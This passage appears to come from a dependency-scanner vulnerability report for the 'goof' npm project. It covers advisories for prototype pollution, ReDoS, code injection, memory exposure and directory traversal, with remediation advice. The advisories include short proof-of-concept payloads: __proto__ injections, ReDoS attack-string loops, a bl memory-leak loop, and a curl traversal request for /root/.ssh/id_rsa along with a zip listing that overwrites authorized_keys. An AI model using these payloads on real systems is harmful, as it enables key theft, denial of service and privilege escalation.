The following environments are susceptible to a Prototype Pollution attack:

+
    +
  • Application server

    +
  • +
  • Web server

    +
  • +
+

How to prevent

+
    +
  1. Freeze the prototype— use Object.freeze (Object.prototype).

    +
  2. +
  3. Require schema validation of JSON input.

    +
  4. +
  5. Avoid using unsafe recursive merge functions.

    +
  6. +
  7. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

    +
  8. +
  9. As a best practice use Map instead of Object.

    +
  10. +
+

For more information on this vulnerability type:

+

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

+

Remediation

+

Upgrade dustjs-linkedin to version 3.0.0 or higher.

+

References

+ + +
+ + + +
+
+

Code Injection

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + dustjs-linkedin +
  • + +
  • Introduced through: + + goof@1.0.1 and dustjs-linkedin@2.5.0 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + dustjs-linkedin@2.5.0 + + + +
  • +
+ +
+ +
+ +

Overview

+

dustjs-linkedin is a Javascript templating engine designed to run asynchronously on both the server and the browser.

+

Affected versions of this package are vulnerable to Code Injection. Dust.js uses Javascript's eval() function to evaluate the "if" statement conditions. The input to the function is sanitized by escaping all potentially dangerous characters.

+

However, if the variable passed in is an array, no escaping is applied, exposing an easy path to code injection. The risk of exploit is especially high given the fact express, koa and many other Node.js servers allow users to force a query parameter to be an array using the param[]=value notation.

+

Remediation

+

Upgrade dustjs-linkedin to version 2.6.0 or higher.

+

References

+ + +
+ + + +
+
+

Remote Memory Exposure

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + bl +
  • + +
  • Introduced through: + + + goof@1.0.1, mongodb@3.5.9 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + mongodb@3.5.9 + + bl@2.2.0 + + + +
  • +
+ +
+ +
+ +

Overview

+

bl is a library that allows you to collect buffers and access with a standard readable buffer interface.

+

Affected versions of this package are vulnerable to Remote Memory Exposure. If user input ends up in consume() argument and can become negative, BufferList state can be corrupted, tricking it into exposing uninitialized memory via regular .slice() calls.

+

PoC by chalker

+
const { BufferList } = require('bl')
+        const secret = require('crypto').randomBytes(256)
+        for (let i = 0; i < 1e6; i++) {
+          const clone = Buffer.from(secret)
+          const bl = new BufferList()
+          bl.append(Buffer.from('a'))
+          bl.consume(-1024)
+          const buf = bl.slice(1)
+          if (buf.indexOf(clone) !== -1) {
+            console.error(`Match (at ${i})`, buf)
+          }
+        }
+        
+

Remediation

+

Upgrade bl to version 2.2.1, 3.0.1, 4.0.3, 1.2.3 or higher.

+

References

+ + +
+ + + +
+
+

Prototype Pollution

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + async +
  • + +
  • Introduced through: + + + goof@1.0.1, hbs@4.0.4 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + hbs@4.0.4 + + handlebars@4.0.14 + + async@2.6.3 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + mongoose@4.2.4 + + async@0.9.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-reports@1.4.0 + + handlebars@4.0.11 + + async@1.5.2 + + + +
  • +
+ +
+ +
+ +

Overview

+

Affected versions of this package are vulnerable to Prototype Pollution via the mapValues() method.

+

PoC

+
//when objects are parsed, all properties are created as own (the objects can come from outside sources (http requests/ file))
+        const hasOwn = JSON.parse('{"__proto__": {"isAdmin": true}}');
+        
+        //does not have the property,  because it's inside object's own "__proto__"
+        console.log(hasOwn.isAdmin);
+        
+        async.mapValues(hasOwn, (val, key, cb) => cb(null, val), (error, result) => {
+          // after the method executes, hasOwn.__proto__ value (isAdmin: true) replaces the prototype of the newly created object, leading to potential exploits.
+          console.log(result.isAdmin);
+        });
+        
+

Details

+

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

+

There are two main ways in which the pollution of prototypes occurs:

+
    +
  • Unsafe Object recursive merge

    +
  • +
  • Property definition by path

    +
  • +
+

Unsafe Object recursive merge

+

The logic of a vulnerable recursive merge function follows the following high-level model:

+
merge (target, source)
+        
+          foreach property of source
+        
+            if property exists and is an object on both the target and the source
+        
+              merge(target[property], source[property])
+        
+            else
+        
+              target[property] = source[property]
+        
+
+ +

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

+

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

+

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

+

Property definition by path

+

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

+

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

+

Types of attacks

+

There are a few methods by which Prototype Pollution can be manipulated:

+ + + + + + + + + + + + + + + + + + + + + + + +
TypeOriginShort description
Denial of service (DoS)ClientThis is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code ExecutionClientRemote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property InjectionClientThe attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.
+

Affected environments

+

The following environments are susceptible to a Prototype Pollution attack:

+
    +
  • Application server

    +
  • +
  • Web server

    +
  • +
+

How to prevent

+
    +
  1. Freeze the prototype— use Object.freeze (Object.prototype).

    +
  2. +
  3. Require schema validation of JSON input.

    +
  4. +
  5. Avoid using unsafe recursive merge functions.

    +
  6. +
  7. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

    +
  8. +
  9. As a best practice use Map instead of Object.

    +
  10. +
+

For more information on this vulnerability type:

+

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

+

Remediation

+

Upgrade async to version 2.6.4, 3.2.2 or higher.

+

References

+ + +
+ + + +
+
+

Regular Expression Denial of Service (ReDoS)

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + ansi-regex +
  • + +
  • Introduced through: + + + goof@1.0.1, tap@11.1.5 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + yargs@11.1.0 + + string-width@2.1.1 + + strip-ansi@4.0.0 + + ansi-regex@3.0.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + yargs@11.1.0 + + cliui@4.1.0 + + strip-ansi@4.0.0 + + ansi-regex@3.0.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + yargs@11.1.0 + + cliui@4.1.0 + + string-width@2.1.1 + + strip-ansi@4.0.0 + + ansi-regex@3.0.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + typeorm@0.2.24 + + cli-highlight@2.1.4 + + yargs@15.4.1 + + string-width@4.2.0 + + strip-ansi@6.0.0 + + ansi-regex@5.0.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + typeorm@0.2.24 + + cli-highlight@2.1.4 + + yargs@15.4.1 + + cliui@6.0.0 + + strip-ansi@6.0.0 + + ansi-regex@5.0.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + typeorm@0.2.24 + + cli-highlight@2.1.4 + + yargs@15.4.1 + + cliui@6.0.0 + + string-width@4.2.0 + + strip-ansi@6.0.0 + + ansi-regex@5.0.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + typeorm@0.2.24 + + cli-highlight@2.1.4 + + yargs@15.4.1 + + cliui@6.0.0 + + wrap-ansi@6.2.0 + + strip-ansi@6.0.0 + + ansi-regex@5.0.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + typeorm@0.2.24 + + cli-highlight@2.1.4 + + yargs@15.4.1 + + cliui@6.0.0 + + wrap-ansi@6.2.0 + + string-width@4.2.0 + + strip-ansi@6.0.0 + + ansi-regex@5.0.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + typeorm@0.2.24 + + yargs@13.3.2 + + string-width@3.1.0 + + strip-ansi@5.2.0 + + ansi-regex@4.1.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + typeorm@0.2.24 + + yargs@13.3.2 + + cliui@5.0.0 + + strip-ansi@5.2.0 + + ansi-regex@4.1.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + typeorm@0.2.24 + + yargs@13.3.2 + + cliui@5.0.0 + + string-width@3.1.0 + + strip-ansi@5.2.0 + + ansi-regex@4.1.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + typeorm@0.2.24 + + yargs@13.3.2 + + cliui@5.0.0 + + wrap-ansi@5.1.0 + + strip-ansi@5.2.0 + + ansi-regex@4.1.0 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + typeorm@0.2.24 + + yargs@13.3.2 + + cliui@5.0.0 + + wrap-ansi@5.1.0 + + string-width@3.1.0 + + strip-ansi@5.2.0 + + ansi-regex@4.1.0 + + + +
  • +
+ +
+ +
+ +

Overview

+

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the sub-patterns [[\\]()#;?]* and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*.

+

PoC

+
import ansiRegex from 'ansi-regex';
+        
+        for(var i = 1; i <= 50000; i++) {
+            var time = Date.now();
+            var attack_str = "\u001B["+";".repeat(i*10000);
+            ansiRegex().test(attack_str)
+            var time_cost = Date.now() - time;
+            console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
+        }
+        
+

Details

+

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

+

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

+

Let’s take the following regular expression as an example:

+
regex = /A(B|C+)+D/
+        
+

This regular expression accomplishes the following:

+
    +
  • A The string must start with the letter 'A'
  • +
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • +
  • D Finally, we ensure this section of the string ends with a 'D'
  • +
+

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

+

It most cases, it doesn't take very long for a regex engine to find a match:

+
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+        0.04s user 0.01s system 95% cpu 0.052 total
+        
+        $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+        1.79s user 0.02s system 99% cpu 1.812 total
+        
+

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

+

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

+

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

+
    +
  1. CCC
  2. +
  3. CC+C
  4. +
  5. C+CC
  6. +
  7. C+C+C.
  8. +
+

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

+

From there, the number of steps the engine must use to validate a string just continues to grow.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
StringNumber of C'sNumber of steps
ACCCX338
ACCCCX471
ACCCCCX5136
ACCCCCCCCCCCCCCX1465,553
+

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

+

Remediation

+

Upgrade ansi-regex to version 6.0.1, 5.0.1 or higher.

+

References

+ + +
+ + + +
+
+

Prototype Pollution

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + ajv +
  • + +
  • Introduced through: + + + goof@1.0.1, tap@11.1.5 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + coveralls@3.0.9 + + request@2.88.0 + + har-validator@5.1.3 + + ajv@6.10.2 + + + +
  • +
+ +
+ +
+ +

Overview

+

ajv is an Another JSON Schema Validator

+

Affected versions of this package are vulnerable to Prototype Pollution. A carefully crafted JSON schema could be provided that allows execution of other code by prototype pollution. (While untrusted schemas are recommended against, the worst case of an untrusted schema should be a denial of service, not execution of code.)

+

Details

+

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

+

There are two main ways in which the pollution of prototypes occurs:

+
    +
  • Unsafe Object recursive merge

    +
  • +
  • Property definition by path

    +
  • +
+

Unsafe Object recursive merge

+

The logic of a vulnerable recursive merge function follows the following high-level model:

+
merge (target, source)
+        
+          foreach property of source
+        
+            if property exists and is an object on both the target and the source
+        
+              merge(target[property], source[property])
+        
+            else
+        
+              target[property] = source[property]
+        
+
+ +

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

+

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

+

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

+

Property definition by path

+

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

+

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

+

Types of attacks

+

There are a few methods by which Prototype Pollution can be manipulated:

+ + + + + + + + + + + + + + + + + + + + + + + +
TypeOriginShort description
Denial of service (DoS)ClientThis is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code ExecutionClientRemote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property InjectionClientThe attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.
+

Affected environments

+

The following environments are susceptible to a Prototype Pollution attack:

+
    +
  • Application server

    +
  • +
  • Web server

    +
  • +
+

How to prevent

+
    +
  1. Freeze the prototype— use Object.freeze (Object.prototype).

    +
  2. +
  3. Require schema validation of JSON input.

    +
  4. +
  5. Avoid using unsafe recursive merge functions.

    +
  6. +
  7. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

    +
  8. +
  9. As a best practice use Map instead of Object.

    +
  10. +
+

For more information on this vulnerability type:

+

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

+

Remediation

+

Upgrade ajv to version 6.12.3 or higher.

+

References

+ + +
+ + + +
+
+

Directory Traversal

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + adm-zip +
  • + +
  • Introduced through: + + goof@1.0.1 and adm-zip@0.4.7 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + adm-zip@0.4.7 + + + +
  • +
+ +
+ +
+ +

Overview

+

adm-zip is a JavaScript implementation for zip data compression for NodeJS.

+

Affected versions of this package are vulnerable to Directory Traversal. It could extract files outside the target folder.

+

Details

+

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

+

Directory Traversal vulnerabilities can be generally divided into two types:

+
    +
  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
  • +
+

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

+

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

+
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
+        
+

Note %2e is the URL encoded version of . (dot).

+
    +
  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.
  • +
+

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

+

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

+
2018-04-15 22:04:29 .....           19           19  good.txt
+        2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys
+        
+

Remediation

+

Upgrade adm-zip to version 0.5.2 or higher.

+

References

+ + +
+ + + +
+
+

Prototype Pollution

+
+ +
+ medium severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + yargs-parser +
  • + +
  • Introduced through: + + + goof@1.0.1, tap@11.1.5 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + yargs@11.1.0 + + yargs-parser@9.0.2 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + yargs-parser@8.1.0 + + + +
  • +
+ +
+ +
+ +

Overview

+

yargs-parser is a mighty option parser used by yargs.

+

Affected versions of this package are vulnerable to Prototype Pollution. The library could be tricked into adding or modifying properties of Object.prototype using a __proto__ payload.

+

Our research team checked several attack vectors to verify this vulnerability:

+
    +
  1. It could be used for privilege escalation.
  2. +
  3. The library could be used to parse user input received from different sources:
      +
    • terminal emulators
    • +
    • system calls from other code bases
    • +
    • CLI RPC servers
    • +
    +
  4. +
+

PoC by Snyk

+
const parser = require("yargs-parser");
+        console.log(parser('--foo.__proto__.bar baz'));
+        console.log(({}).bar);
+        
+

Details

+

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

+

There are two main ways in which the pollution of prototypes occurs:

+
    +
  • Unsafe Object recursive merge

    +
  • +
  • Property definition by path

    +
  • +
+

Unsafe Object recursive merge

+

The logic of a vulnerable recursive merge function follows the following high-level model:

+
merge (target, source)
+        
+          foreach property of source
+        
+            if property exists and is an object on both the target and the source
+        
+              merge(target[property], source[property])
+        
+            else
+        
+              target[property] = source[property]
+        
+
+ +

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

+

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

+

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

+

Property definition by path

+

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

+

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

+

Types of attacks

+

There are a few methods by which Prototype Pollution can be manipulated:

+ + + + + + + + + + + + + + + + + + + + + + + +
TypeOriginShort description
Denial of service (DoS)ClientThis is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code ExecutionClientRemote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property InjectionClientThe attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.
+

Affected environments

+

The following environments are susceptible to a Prototype Pollution attack:

+
    +
  • Application server

    +
  • +
  • Web server

    +
  • +
+

How to prevent

+
    +
  1. Freeze the prototype— use Object.freeze (Object.prototype).

    +
  2. +
  3. Require schema validation of JSON input.

    +
  4. +
  5. Avoid using unsafe recursive merge functions.

    +
  6. +
  7. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

    +
  8. +
  9. As a best practice use Map instead of Object.

    +
  10. +
+

For more information on this vulnerability type:

+

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

+

Remediation

+

Upgrade yargs-parser to version 5.0.1, 13.1.2, 15.0.1, 18.1.1 or higher.

+

References

+ + +
+ + + +
+
+

Regular Expression Denial of Service (ReDoS)

+
+ +
+ medium severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + validator +
  • + +
  • Introduced through: + + goof@1.0.1 and validator@13.5.2 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + validator@13.5.2 + + + +
  • +
+ +
+ +
+ +

Overview

+

validator is a library of string validators and sanitizers.

+

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isSlug function

+

PoC

+
var validator = require("validator")
+        function build_attack(n) {
+            var ret = "111"
+            for (var i = 0; i < n; i++) {
+                ret += "a"
+            }
+        
+            return ret+"_";
+        }
+        for(var i = 1; i <= 50000; i++) {
+            if (i % 10000 == 0) {
+                var time = Date.now();
+                var attack_str = build_attack(i)
+               validator.isSlug(attack_str)
+                var time_cost = Date.now() - time;
+                console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
+           }
+        }
+        
+

Details

+

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

+

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

+

Let’s take the following regular expression as an example:

+
regex = /A(B|C+)+D/
+        
+

This regular expression accomplishes the following:

+
    +
  • A The string must start with the letter 'A'
  • +
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • +
  • D Finally, we ensure this section of the string ends with a 'D'
  • +
+

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

+

It most cases, it doesn't take very long for a regex engine to find a match:

+
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+        0.04s user 0.01s system 95% cpu 0.052 total
+        
+        $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+        1.79s user 0.02s system 99% cpu 1.812 total
+        
+

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

+

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

+

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

+
    +
  1. CCC
  2. +
  3. CC+C
  4. +
  5. C+CC
  6. +
  7. C+C+C.
  8. +
+

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

+

From there, the number of steps the engine must use to validate a string just continues to grow.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
StringNumber of C'sNumber of steps
ACCCX338
ACCCCX471
ACCCCCX5136
ACCCCCCCCCCCCCCX1465,553
+

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

+

Remediation

+

Upgrade validator to version 13.6.0 or higher.

+

References

+ + +
+ + + +
+
+

Regular Expression Denial of Service (ReDoS)

+
+ +
+ medium severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + validator +
  • + +
  • Introduced through: + + goof@1.0.1 and validator@13.5.2 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + validator@13.5.2 + + + +
  • +
+ +
+ +
+ +

Overview

+

validator is a library of string validators and sanitizers.

+

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the rtrim function.

+

PoC

+
var validator = require("validator")
+        function build_attack(n) {
+            var ret = ""
+            for (var i = 0; i < n; i++) {
+                ret += " "
+            }
+        
+            return ret+"◎";
+        }
+        for(var i = 1; i <= 50000; i++) {
+            if (i % 10000 == 0) {
+                var time = Date.now();
+                var attack_str = build_attack(i)
+               validator.rtrim(attack_str)
+                var time_cost = Date.now() - time;
+                console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
+           }
+        
+

Details

+

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

+

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

+

Let’s take the following regular expression as an example:

+
regex = /A(B|C+)+D/
+        
+

This regular expression accomplishes the following:

+
    +
  • A The string must start with the letter 'A'
  • +
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • +
  • D Finally, we ensure this section of the string ends with a 'D'
  • +
+

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

+

It most cases, it doesn't take very long for a regex engine to find a match:

+
